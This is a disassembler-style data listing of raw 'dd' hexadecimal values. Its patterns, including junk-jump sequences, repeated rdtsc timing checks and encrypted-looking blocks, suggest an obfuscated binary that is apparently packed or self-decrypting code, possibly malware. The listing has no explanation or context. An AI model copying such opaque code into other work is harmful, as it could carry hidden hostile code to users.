		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 78410000h, 0D102AABCh, 3ED10BACh, 6463365Fh,	754261F1h
		dd 17C2AAEDh, 63606957h, 0FE5533A3h, 5E1C8DA6h,	9309A7BCh
		dd 29C303A0h, 7672650Dh, 3E4D24F6h, 1DB2C982h, 627D7D5Dh
		dd 0FE5561AFh, 5D138BA4h, 9313A7BCh, 36D91EBFh,	686E7B0Dh
		dd 305933EDh, 5186AAE9h, 737D794Ah, 0B05433E2h,	4B078BB1h
		dd 0DC15BEBCh, 36D71EBEh, 3, 62h dup(0)
		dd 78410000h, 0DD08A3BCh, 29D918B0h, 6A79660Dh,	7D4133E5h
		dd 283ACA8h, 626B7E18h,	0FF4661EDh, 19168ABDh, 0DD09BBEEh
		dd 7BD102B0h, 7C2B7844h, 305234EDh, 591BDFBh, 0D20715Dh
		dd 0F54C118Eh, 151797A9h, 0DF09BBBCh, 7BD20DB6h, 632B6244h
		dd 304D2EF0h, 1E8FA1E5h, 662E654Ah, 0E20025EDh,	580697ADh
		dd 0CA47BAEEh, 7BC419B6h, 6264645Dh, 3E4D20F0h,	48h dup(0)
		dd 78410000h, 0D215ADBCh, 29D307BAh, 712B650Ah,	304C2EEDh
		dd 5191A5E0h, 696B795Ah, 0E54F27A3h, 4B5280A6h,	0DA09A0E9h
		dd 32960BB7h, 6A723643h, 630033F7h, 1496B7F1h, 0A043255h
		dd 0F1452DD3h, 195E81BBh, 0DC0BA0E9h, 329608B8h, 776D3659h
		dd 7D002CEDh, 38DA9EDh,	696F3C41h, 0F55261E7h, 4B1390BBh
		dd 0DC1EEEE8h, 2B961EACh, 776C795Fh, 0E2CE3h, 61h dup(0)
		dd 7F410000h, 9302A2F5h, 29C403BAh, 607F6658h, 300E60E6h
		dd 28BACDCh, 687C6C18h,	0FD4133E4h, 4A138CE8h, 0D602ACBCh
		dd 3ADB4CB7h, 707B7F43h, 755420EEh, 1F83E4ECh, 66633C5Ch
		dd 9A4523FAh, 1E068DC5h, 0DD0EEEEFh, 2FD509BFh,	672B7248h
		dd 304161FBh, 490ADDEh,	75613C4Bh, 0F15222A3h, 5D178FABh
		dd 0DB33EEB2h, 3D961FB0h, 256E7A44h, 374E2EF5h,	1E95E4FCh
		dd 662E774Ah, 0FF4D38EDh, 5C81BAh, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2F1FE900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 970F71C3h, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 5D02DDADh
		dd 7AB1DC60h, 3DBD092Ah, 8B061006h, 1014559Dh, 6AC08B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 41E0C351h, 0AA746B83h, 4CC72FEDh,	83ACF780h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535013h
		dd 1B8C0h, 9D8D0000h, 612B6B7h,	585BD3FFh, 95BD83h, 74000610h
		dd 0B8535011h, 1, 0B5689D8Dh, 0D3FF0612h, 6060585Bh, 2A359D01h
		dd 66610610h, 8729C681h, 0E9605661h, 0Ah, 0A3FCD63Ch, 388A2DC1h
		dd 61F57AE3h, 0F5C08B5Ah, 2D65BD83h, 0F000610h,	18B84h
		dd 0BBCB600h, 102ECD95h, 65BD8306h, 6102Fh, 176840Fh, 6E90000h
		dd 7A000000h, 1A4E4E3Ah, 0D68060B6h, 65858BE2h,	0E906102Fh
		dd 8, 7420169Eh, 51086A49h, 3E805h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8A5018E8h
		dd 240489F7h, 0A0A8BB66h, 4E49858Dh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8589EBC3h
		dd 61015A1h, 0F525050h,	158Ch, 0FE800h,	4F9E0000h, 5CBBAAF2h
		dd 0EDF1BED0h, 71B5EB44h, 310F5AE8h, 61605250h,	0BA66310Fh
		dd 585AE4FEh, 489585Ah,	8BD2B724h, 1000E59Dh, 27858D06h
		dd 5706104Eh, 9E9h, 52A6F800h, 5D62D3B9h, 905AF900h, 0CDA6EEBAh
		dd 24B75059h, 858D8990h, 0FF061016h, 10025195h,	0AE906h
		dd 2DDB0000h, 0C6E4244Ch, 7DD0B112h, 6A0CC483h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0B6FDC356h, 89BF3487h, 100D8D95h, 0EE806h, 717D0000h
		dd 3DD97920h, 38B3FB58h, 60328312h, 0BDC38166h,	858D5BCEh
		dd 6104E27h, 73B75090h,	3830F90h, 80000000h, 26A0EE7h
		dd 233D9D89h, 95FF0610h, 6AED14h, 6161FC60h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CC35343h, 1252496Ch
		dd 10B21CA5h, 4E5A85C7h, 10610h, 95230000h, 6102D39h, 24348950h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 99C35242h
		dd 20A99503h, 12E90610h, 4000000h, 0E702CF90h, 231298BDh
		dd 0B2ED3F49h, 0BBECAC68h, 0BB5898Eh, 306104Eh,	1005F99Dh
		dd 9BD8306h, 1061022h, 31850Fh,	0EB810000h, 6800AF50h
		dd 0F05F883h, 2285h, 859D8900h,	0B8061009h, 0
		dd 12E9h, 0FC1D2900h, 3859ED0h,	7FA6BF5Eh, 6ED57299h, 83D247C3h
		dd 100B05BDh, 840F0006h, 43h, 0EBCB8166h, 6A607Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B589EDC3h, 6102AF9h, 0B0595FFh, 0D78B0610h,	0C8E0F61h
		dd 0F000000h, 685h, 55958900h, 83061028h, 101359BDh, 840F0006h
		dd 0Eh,	259958Bh, 0B80610h, 66000000h, 0E960D68Bh, 11h
		dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0A608A90Fh, 0B58B60E2h
		dd 6100935h, 1820Fh, 61F50000h,	10C5858Bh, 6A0610h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0ECBC2C3h, 0CDB8166h, 2C08304h, 13E9h, 8D28BA00h, 4AD57650h
		dd 0FCA228D9h, 5BFB004Fh, 0D2DDBDCAh, 4E038589h, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0EB81FAC3h, 68DEB93Dh, 23619D8Bh, 0C60610h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6870FE7h, 31000000h,	1007E99Dh, 0C1958B06h, 0E806100Bh
		dd 12h,	16436E55h, 494A65B3h, 67AE5D0h,	70AB3802h, 0C65AA430h
		dd 1023E585h, 81665306h, 68B315F2h, 0BEEC764Eh,	81DF8B66h
		dd 0D28A2404h, 85313DC4h, 6101CE1h, 1D45B5FFh, 60570610h
		dd 8B0Fh, 21BE0000h, 617DC5C0h,	0B19D235Bh, 8D06100Ch
		dd 13858A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0C23E7A8h, 80E1B55Bh, 0D38BDFDFh
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 65247BC3h, 0FF09E95h, 8B60DFBFh, 100BBD95h
		dd 55850306h, 6106100Bh, 31C98589h, 9D8B0610h, 6100DD5h
		dd 855BD83h, 0F010610h,	10885h,	6830F00h, 89000000h, 1013658Dh
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 96109EC3h, 0D81E0B80h, 0BD8B6055h, 6100565h
		dd 1CE08166h, 85C66175h, 61023E5h, 6890F45h, 8B000000h
		dd 101EA995h, 0C3A6806h, 850F7124h, 0
		dd 88240481h, 6A693C2Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 910EC351h, 0BC936BA0h
		dd 665352E7h, 7839CB81h, 0B5FF5B5Ah, 6101D45h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0A8C35040h, 7D9D8B28h
		dd 0B06100Fh, 101B759Dh, 8A858D06h, 81061385h, 9B444BEBh
		dd 0BE835h, 0B6070000h,	0B8783869h, 3645A253h, 8E988h
		dd 0AB340000h, 11A0B9Ch, 0FF5B510Ch, 45BA66D0h,	119D8B75h
		dd 6A061008h, 84CA8100h, 2930862Bh, 101F4DB5h, 29D0FF06h
		dd 1012499Dh, 79BD8306h, 1061016h, 0DD850Fh, 8D890000h
		dd 61006D9h, 10C5858Bh,	85890610h, 61014E5h, 61605260h
		dd 16880F5Eh, 0E8000000h, 10h, 0CA3A3E18h, 0E076F566h
		dd 84A1144Eh, 0E873B2C6h, 5DE96158h, 89000000h,	1010B185h
		dd 890F5006h, 0Ah, 0BA665250h, 310F31D1h, 489585Ah, 146AF824h
		dd 8E856h, 20EC0000h, 4D9DA96Ah, 0CF8005DBh, 0F85B5A2Fh
		dd 31C995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0E4F6AC3h, 0B70FA472h, 58DA8BD7h
		dd 0F003880h, 0FFFFA085h, 8F0F56FFh, 6,	2AF99D8Bh, 0C65B0610h
		dd 6A0100h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CBAEAC3h, 1AEE9CA0h, 858932D6h, 6102195h
		dd 61D6B70Fh, 5C5950Bh,	0BD830610h, 6101379h, 3C840F00h
		dd 81000000h, 33727CE3h, 29958B6Fh, 6A061021h, 0D3BF0FFFh
		dd 31C995FFh, 0B70F0610h, 0FFEDE9D9h, 0AE9FFFFh, 0BB000000h
		dd 0B3539721h, 0B201C870h, 8E0F5374h, 6, 860Fh,	0C75B0000h
		dd 10137985h, 106h, 0AD9D8B00h,	89061021h, 104E0F85h, 0B5896006h
		dd 61008A5h, 1CFECF81h,	506122E5h, 489F08Ah, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 84456851h, 0D680A41Ah, 9D8B6094h, 6100EF9h, 66F5056Ah
		dd 8D1AB8BBh, 104E2785h, 0B18D0106h, 90061031h,	0EE9h
		dd 0BD241300h, 0DBCBC587h, 49B6272Bh, 50E858B4h, 0D840Fh
		dd 52500000h, 853DBB66h, 8B66310Fh, 90585ADAh, 8DD08B66h
		dd 104E1785h, 0EE906h, 0B2030000h, 96AC0A2Eh, 0A6953D84h
		dd 6A967AD5h, 15CD9D33h, 66900610h, 5050DF8Bh, 13E852h
		dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh,	0D477406h
		dd 5A1DB674h, 6060310Fh, 585A6161h, 819D0B90h, 0FF061021h
		dd 10080195h, 0CABB6606h, 1C8D8D56h, 0F06107Dh,	218Fh
		dd 14E96000h, 5B000000h, 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh
		dd 738C7191h, 8989F182h, 102F0585h, 0C00B6106h,	858D1174h
		dd 6104E27h, 89D1FF50h,	104E4585h, 0C70AEB06h, 104E4585h
		dd 0FFFFFF06h, 19958BFFh, 0B06102Ah, 100A3D95h,	89FC6106h
		dd 100F7595h, 0E585C606h, 4D061023h, 4E8h, 3576A800h, 6E960A4h
		dd 0BB000000h, 4DA6BDFDh, 53525076h, 5A310F5Ah,	66506158h
		dd 448BD88Bh, 0BB660424h, 8BE8D6h, 89D78B66h, 0F042444h
		dd 587h, 5E88BA00h, 6658545Ah, 0B5FFD78Bh, 6100945h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6CC35545h, 42239DAFh
		dd 0EFC0495Ah, 5066C381h, 858D50A4h, 613858Ah, 0FFDE8B66h
		dd 81950BD0h, 8906101Ch, 1012F585h, 25F38106h, 0C608BE83h
		dd 1023E585h, 81664506h, 0E85FFEF3h, 4,	8E726969h, 8A50B1B6h
		dd 24448BD7h, 66525004h, 310FDE8Bh, 48A0Fh, 0BA660000h
		dd 585AA072h, 0BB66008Bh, 44895B77h, 0D68B0424h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 505C1B1Ch, 7558D89h,	0FF5B0610h, 101D45B5h, 598D0906h
		dd 0F06101Ch, 858DD2B7h, 613858Ah, 1C898529h, 85890610h
		dd 6103101h, 12E9D0FFh,	5D000000h, 0AFE7D4E1h, 8B06B56Eh
		dd 0D781C545h, 0EE2AE4D8h, 0AD858978h, 6A061009h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 828FC353h, 0D28B6AF5h, 68F0Fh, 0BD890000h, 6100871h
		dd 6AD98C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 94B5C355h, 0CEB2E370h,	35958905h
		dd 8006100Dh, 0C1F64DD7h, 11840F04h, 81000002h,	8A24EEDBh
		dd 0E1E953h, 81660000h,	8B329CDAh, 102955B5h, 10E806h
		dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch,	0C28157D2h
		dd 164DFA2Bh, 80C6815Bh, 8B000011h, 1016DD9Dh, 69BD8306h
		dd 61029h, 2E850Fh, 0D68B0000h,	90E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 6E972h, 8EB30000h, 0EB05E13Ch, 0F003E83h, 6084h, 89958900h
		dd 6006102Fh, 7E8h, 6722EA00h, 9282DA6Ch, 5AD08B66h, 9D8B146Ah
		dd 6101069h, 31C995FFh,	0DA800610h, 8166562Fh, 5AEE82D2h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 1709120Eh, 28619533h, 9DE90610h,	89FFFFFFh
		dd 1012C5BDh, 106C706h,	66000000h, 83C5FFBBh, 104E0FBDh
		dd 850F0506h, 118h, 8BDEBF0Fh, 1009ADB5h, 8D9D8B06h, 0B906100Fh
		dd 64h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 0D9C35040h, 1EBDAE7h, 10051D95h, 80CFB306h, 840FE83Eh
		dd 2Eh,	0E967C280h, 35h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 2DC35343h, 756FDC56h,	663D4764h, 7E80D98Bh
		dd 840FC205h, 61h, 0D7CA8166h, 958B46E2h, 6101AF5h, 0AC850F49h
		dd 6AFFFFFFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 8034C353h, 6A907979h, 89D76379h
		dd 100DBD8Dh, 0FE96006h, 2C000000h, 0A8BDB7E7h,	43FAE3B8h
		dd 6E1DD302h, 958950BBh, 610076Dh, 3EE961h, 0C3800000h
		dd 0ADB589DAh, 6A061015h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0F6C1C351h,	0A45B3D9Ah
		dd 0A19D8BB4h, 6006100Ch, 14E5958Bh, 0F520610h,	6158D7B7h
		dd 0EE958h, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h
		dd 0A79BD83h, 0F000610h, 15684h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C0BFE8F2h
		dd 958BD08Bh, 61015F5h,	15958960h, 0C606100Ch, 1023E585h
		dd 0D08B5406h, 4E8h, 4EBEF400h,	46B750FFh, 424448Bh, 12E860h
		dd 0BCDC0000h, 23D8B1Eh, 69BD7EFDh, 605027B5h, 27E5A789h
		dd 5BF28B66h, 0AE9h, 331C7400h,	2126E735h, 612FCC94h, 0E850008Bh
		dd 0Ah,	0DB2A7BDFh, 1176C428h, 5A5A3B4Eh, 4244489h, 14D6BB66h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 3D9D8987h, 0FF061028h, 101D45B5h, 0E31BBA06h
		dd 858D2825h, 613858Ah,	9619509h, 958B0610h, 6102105h
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 42653BC3h, 7E9h, 17E03500h, 87C7D0FBh
		dd 0E5BB006Ah, 80724079h, 0B5FFDCCEh, 6100A79h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 6AD0FF3Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 3C93C356h, 9533D234h, 6100D1Dh, 0AD8D8961h
		dd 0C706100Dh, 101E2985h, 106h,	0AE900h, 6F6D0000h, 10F976DCh
		dd 943DFD3Bh, 0D19D8B60h, 68061022h, 0B102BAD2h, 0AE9h
		dd 98C2B300h, 0C366151h, 81FF6B1Ch, 45AE2404h, 0FF6A4EFDh
		dd 715958Bh, 95FF0610h,	61006B9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6CC35747h, 894D3C1Ah, 1018C9B5h
		dd 0B5896106h, 6102D39h, 66905090h, 0A048CA81h,	11A9858Bh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 60EF8AC3h, 21219529h, 0C00B0610h,	2E840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 958B4CC3h, 6102F6Dh, 2EE195FFh, 0B5090610h
		dd 6101DE9h, 75185C7h, 10610h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F2FE3C3h
		dd 0BD83DFB7h, 6101701h, 0F840F00h, 80000000h, 95FF10E3h
		dd 61030B1h, 31A99D8Bh,	0BD830610h, 6102E85h, 23840F00h
		dd 0E8000000h, 7, 0E4616FE8h, 60F4C86Dh, 95896160h, 6102D35h
		dd 95FF5B61h, 6101639h,	1D7D9D89h, 0BD830610h, 6100939h
		dd 62840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 5639C351h, 0FDD9D89h
		dd 835A0610h, 1032BDBDh, 850F0006h, 31h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 80C35343h, 89C78BB8h
		dd 1026E58Dh, 0C195FF06h, 89061005h, 102D81B5h,	19BD8306h
		dd 61031h, 57840Fh, 0F6800000h,	658581E3h, 306100Eh, 6A000040h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 6DD8C353h, 54646474h, 8A1002EEh, 9E8D9h
		dd 70050000h, 0DA62FE0Ah, 0F39B998h, 38Bh, 0D1B70F00h
		dd 2D85815Ah, 3061013h,	8B000040h, 0E8310FD7h, 0Ah, 0C342690h
		dd 0E8080B9Ah, 0B70F8E35h, 8D8D5AD2h, 6105DFEh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h, 4B330A4Fh
		dd 815D7B88h, 0B59BA8DBh, 0F98D2977h, 89061015h, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 74DD975Bh, 89DC1194h, 100D5185h, 0B1958906h,	33061023h
		dd 89D78BC2h, 9D010441h, 61005B1h, 0BD31310Fh, 6101081h
		dd 5E468D8Dh, 80500610h, 895A59D2h, 0E1958B01h,	80061032h
		dd 0C23316CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	1DC35242h, 33FBD894h, 3BE15A6Ah, 0A0BA66FCh, 441891Eh
		dd 83D3BF0Fh, 103195BDh, 840F0006h, 2Eh, 5BDD8A56h, 1C8D95FFh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0ABE2E0C3h, 0C959D8Bh, 0BD830610h, 6100DE9h
		dd 6B850F01h, 0E8000000h, 8, 0EEDAD0D8h, 0C700ABE8h, 58E95Bh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 48896BC3h, 2CB2621h, 0CE9900Bh, 2C000000h
		dd 37D00BC2h, 0E769FF5Fh, 66360F2Ah, 0B58BD68Bh, 6105F7Eh
		dd 6C7h, 0B58B0000h, 6105D33h, 6C7h, 0FCCF0000h, 5218589h
		dd 0BD830610h, 6100751h, 0A3840F00h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CAE6C355h, 0BD29C15Ah, 6100FB5h, 11B5BD83h,	0F010610h
		dd 15F85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E86D9AC6h, 12h, 4F03D01h, 0D76BD4B5h
		dd 0B41C6792h, 87E3F30Dh, 0CA814F9Bh, 4B937099h, 0D5B5315Ah
		dd 8B06101Dh, 104E038Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 481EBBDCh, 0C6E29B3Ch
		dd 33520001h, 101D059Dh, 0B3605A06h, 0D38B669Ch, 59D25B68h
		dd 0E96060ADh, 0Fh, 7BBC67F2h, 39E5D911h, 0D9374A93h, 6619D413h
		dd 612C88BFh, 38E0Fh, 8B660000h, 48161CEh, 0A62E2524h
		dd 51006A52h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0A231677Dh, 92B3156Bh, 0CA80FF6Ah, 2D958BEBh
		dd 0FF06100Eh, 1006B995h, 0EBF28006h, 0D2BF0F61h, 1F8995FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0C0E21FC3h, 0F627EBCEh, 2DD5BD89h, 8D8B0610h
		dd 6104E03h, 0FECBE280h, 50006A01h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C25D8436h, 1BC03512h
		dd 11E872F0h, 0CC000000h, 0DFA98C07h, 0FA70950Fh, 9B593D2h
		dd 0A035F250h, 5BD18B66h, 1D5BD83h, 0F010610h, 585h, 2BA6600h
		dd 0C08BFCE0h, 0BD83B2B7h, 610158Dh, 83097500h,	100095BDh
		dd 1A740006h, 0C08B5350h, 0E65858Bh, 85890610h,	6100E65h
		dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50187400h
		dd 65858B53h, 8906100Eh, 100E6585h, 49D8D06h, 0FF0612B5h
		dd 0F585BD3h, 884h, 2870F00h, 8B000000h, 51006ADEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 27BB57EAh, 5A385157h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E8D302C3h, 8, 8322AEEDh
		dd 43C16182h, 105D958Bh, 665B0610h, 0BD83D78Bh,	6100751h
		dd 4F850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 2E5EC350h, 47B87C5Eh
		dd 0E9378231h, 10h, 58DD93BAh, 7995DE9Bh, 0B0FA5E84h, 0E7F531F0h
		dd 2779958Bh, 0BD830610h, 6100AA1h, 3840F00h, 0F000000h
		dd 0BD83DAB7h, 6100751h, 15840F00h, 0B2000000h,	35BD8367h
		dd 6101Eh, 6840Fh, 8D890000h, 610335Dh,	751BD83h, 0F000610h
		dd 1284h, 35BD8300h, 6101Eh, 5840Fh, 81660000h,	83A8BBCAh
		dd 100751BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D7C35242h,	15BD83h, 0F000610h
		dd 0B84h, 6E900h, 4B780000h, 0B52189Fh,	751BD83h, 0F000610h
		dd 2384h, 0FBBB6600h, 0E1BD83A1h, 61021h, 12840Fh, 9D890000h
		dd 6101241h, 1B6D95FFh,	9D890610h, 61021CDh, 6AC08Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 888B8BC3h, 13859D8Bh, 0CBB20610h, 158DBD83h,	75000610h
		dd 95BD8309h, 61000h, 53501A74h, 858BC08Bh, 610132Dh, 132D8589h
		dd 9D8D0610h, 612B87Ch,	585BD3FFh, 95BD83h, 74000610h
		dd 8B535018h, 10132D85h, 2D858906h, 8D061013h, 12B51D9Dh
		dd 5BD3FF06h, 6E958h, 0A4A30000h, 0F2F669FCh
		dd 9B1958Bh, 0C08B0610h, 1A7D8589h, 0BD830610h,	6100751h
		dd 8F840F00h, 89000004h, 1023D985h, 55BD8306h, 2061008h
		dd 2F840Fh, 0BD010000h,	6101C99h, 0DE9BD83h, 0F010610h
		dd 1C85h, 858B6000h, 61004D9h, 0FE9h, 0D5ECA600h, 811F61F8h
		dd 8FEA4169h, 0FCCF2A27h, 6A6061h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D8B24C3h, 6104E03h
		dd 0DAD28166h, 6A01FEDCh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0F1C2C355h,	4E8C9h
		dd 800000h, 0BB660000h,	0B7500D67h, 24448B83h, 8BD38B04h
		dd 0BA665600h, 895B9C88h, 0E9042444h, 5, 8F82996Fh, 6AFC584Fh
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 81667403h, 0FFF61FC2h, 1006B995h, 3D950B06h
		dd 0F06100Ah, 680h, 61853100h, 61061021h, 11398529h, 0BD8D0610h
		dd 6100CB5h, 8BF6EA80h,	0BA661C4Fh, 0F7807981h,	29016ACEh
		dd 102225B5h, 181EBB06h, 0B750272Ch, 240C89B8h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8CC35040h, 0C697BE7Eh
		dd 8D0ADE80h, 1345E685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0C660E70Fh, 0D0FFF486h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h
		dd 39EB81B2h, 0F677F5Dh, 489h, 0B7BB6600h, 204F8BA3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0B589036Ah
		dd 610045Dh, 50525091h,	0FD98B52h, 5A5B5031h, 5A310F58h
		dd 53605058h, 0BC82BA66h, 943ABB5Bh, 916169C4h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 18C35040h, 0F69DE8A0h
		dd 85BD898Eh, 8D06101Dh, 1345E685h, 51953106h, 0FF061029h
		dd 68F0FD0h, 29000000h,	1014358Dh, 0B5BD8D06h, 6006100Ch
		dd 5E9h, 7C1E8700h, 820F5EF8h, 5, 0C417E2B8h, 4F8B6172h
		dd 0E9CA801Ch, 6A016Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 2C0919C3h, 50D3B70Fh, 0B09FB360h
		dd 0C896173h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 34D4C028h, 0D18BD08Bh, 8DD08B66h
		dd 1345E685h, 68C0F06h,	8B000000h, 102D699Dh, 66D0FF06h
		dd 483DEA81h, 0F204F8Bh, 387h, 41DF8000h, 6A036Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 23E36EC3h, 101CB595h, 0BB665006h, 0C899543h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 6890FFEh, 89000000h,	1029519Dh, 0E6858D06h, 6A061345h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 379DC351h, 85090D82h, 6100BD9h, 6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 939B3BC3h, 0D88BE9ACh, 4E038D8Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 556841C3h
		dd 9761C03Bh, 0B26C2893h, 6A01FEFAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 9461C351h
		dd 0AC11048Ch, 0EA803547h, 0CE8A3h, 0F020000h, 0CBC0A9Eh
		dd 0F8A5F602h, 3CBAF3D1h, 5A797EC4h, 4E03858Bh,	8B660610h
		dd 6A00FED0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0BE7AC356h, 0EC2CA9FBh, 522D593Bh
		dd 15A1B531h, 16A0610h,	0A9E5DA81h, 0E95722EEh,	12h, 2C7A55Fh
